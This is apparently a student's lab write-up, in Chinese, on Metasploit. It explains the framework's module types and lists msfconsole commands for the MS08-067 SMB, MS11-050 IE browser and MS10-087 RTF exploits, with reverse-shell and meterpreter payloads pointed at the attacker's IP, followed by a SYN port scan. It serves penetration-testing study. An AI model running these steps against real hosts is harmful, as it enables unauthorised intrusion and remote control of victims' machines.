MSF的六种模块
- 渗透攻击模块(Exploit Modules)渗透攻击是指由攻击者或渗透测试者利用一个系统、应用或服务中的==安全漏洞==,所进行的攻击行为。
- 辅助模块(Auxiliary Modules) 能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 攻击载荷(Payload Modules)原意指‘载荷’,就是被运输的东西。
- 空字段模块(Nop Modules)是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作。
- 编码模块(Encoders)编码:攻击载荷模块与空指令模块组装完成一个指令序列后进行。
- 后渗透攻击模块(Post)
MS08-067漏洞攻击
- 启用msf终端:
msfconsole
- 可以通过:
search ms08_067
,查找相应的漏洞 - 找到后,会显示相应漏洞的模块,如下图所示
- 等待时间可能会比较长
- msfconsole有一个好处,就是每一步的操作都可以提示你后续的步骤,即便不知道指令也可以通过
help
来查找 - 根据上述漏洞的模块,我们可以选择相应的模块
use exploit/windows/smb/ms08_067_netapi
- 接下来可以查看相应的攻击载荷,首先我们可以查看可使用的载荷
show payloads
- 因为我们想要获取靶机的shell,所以可以选择以上2种攻击载荷
- 如:
set payload generic/shell_reverse_tcp
- 如:
-
注意:此处的目的是获取shell,如果想用
meterpreter
,找到相应的payload并设置即可
- 查看配置渗透攻击所需的配置项
show options
-
通过上述操作,可以让我们知道有哪些参数需要进行配置
set LHOST 10.43.57 //设置攻击IP
set RHOST 10.43.48.75 //设置靶机IP- 接下来可以看看有哪些合适的靶机平台
show targets
- 设置相应平台的编号:
set target 0
- 此处不设置也可以,msf平台可以自动帮你从第一个开始搜索满足要求的靶机平台
- 发起渗透攻击
exploit
- 获取shell如下图所示
- 攻击失败
- 删除靶机的相应补丁
- 还是失败
问题思考
- 第一次失败原因:攻击时一直提示,会话不能建立,查询后发现靶机的漏洞已经被补了
- 第二次失败原因:这个就不清楚了,
MS11050浏览器漏洞攻击
- 终端中打开
msfconsole
,输入命令use windows/browser/ms11_050_mshtml_cobjectelement
,使用MS11050漏洞模块; - 使用命令
set payload windows/meterpreter/reverse_tcp
指定攻击有效载荷; - 设置具体参数:
set LHOST Kali的IP
、set LPORT 自定义端口号
和set URIPATH 自定义域名
; -
show options
查看所有参数是否设置正确,最后下令发起攻击exploit
- 在靶机上使用IE浏览器访问192.168.199.143:8080/hfhf
攻击成功
MS10-087漏洞攻击
- 选取module:
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
- 设置合适的payload:
set payload windows/exec
- 注:此处是运行一个可执行文件
set FILENAME 20145234.rft //设置生成文件rtf
set CMD notepad.exe //绑定记事本执行
- 发起渗透攻击
exploit
- 将生成的文件从
/root/.msf4/local/20145234.rft
拷贝到靶机上,并把格式修改为.doc
- 双击运行,结果被成功绑定到记事本程序
辅助模块
- 进入
msfconsle
后,通过下面相关指令查找辅助模块show auxiliary
ack:通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测;
ftpbounce:通过FTP BOUNCE攻击的原理对TCP服务进行枚举
syn:使用发送TCP SYN标志的方式探测开放的端口
tcp:通过一次完整的TCP链接来判断端口是否开放
xmas:一种更为隐蔽的扫描方式,通过发送FIN,PSH,URG标志能够躲避一些TCP标记检测器的过滤
- 选取相应的moudle,在这里选择如下:
use auxiliary/scanner/portscan/syn
-
设置好相应参数,可以通过
show options
来查看set RHOSTS 192.168.199.139 //设置扫描目标IP地址
set THREADS 50 //设置线程数
- 启动:
run
,扫描结果如下: - 此时,我们也可以在
msf
下用nmap的相关指令,对目标主机进行扫描:通过观察不难发现,扫描速度更快,并且对每种端口的作用也有了个说明,能弄清楚每个端口是干嘛的
- aux模块虽然不像exploit那样直接对靶机进行攻击,但它是排头兵,是对成功实现攻击的很好保障,比如在CTF竞赛中,我们为了查看靶机的web服务,首先就要对开放端口进行扫描,确认哪个端口是挂了web的,然后才有后面的后台扫描、拖库、旁注、提权等操作
- 所以辅助模块在整个六大模块中的地位也是举足轻重的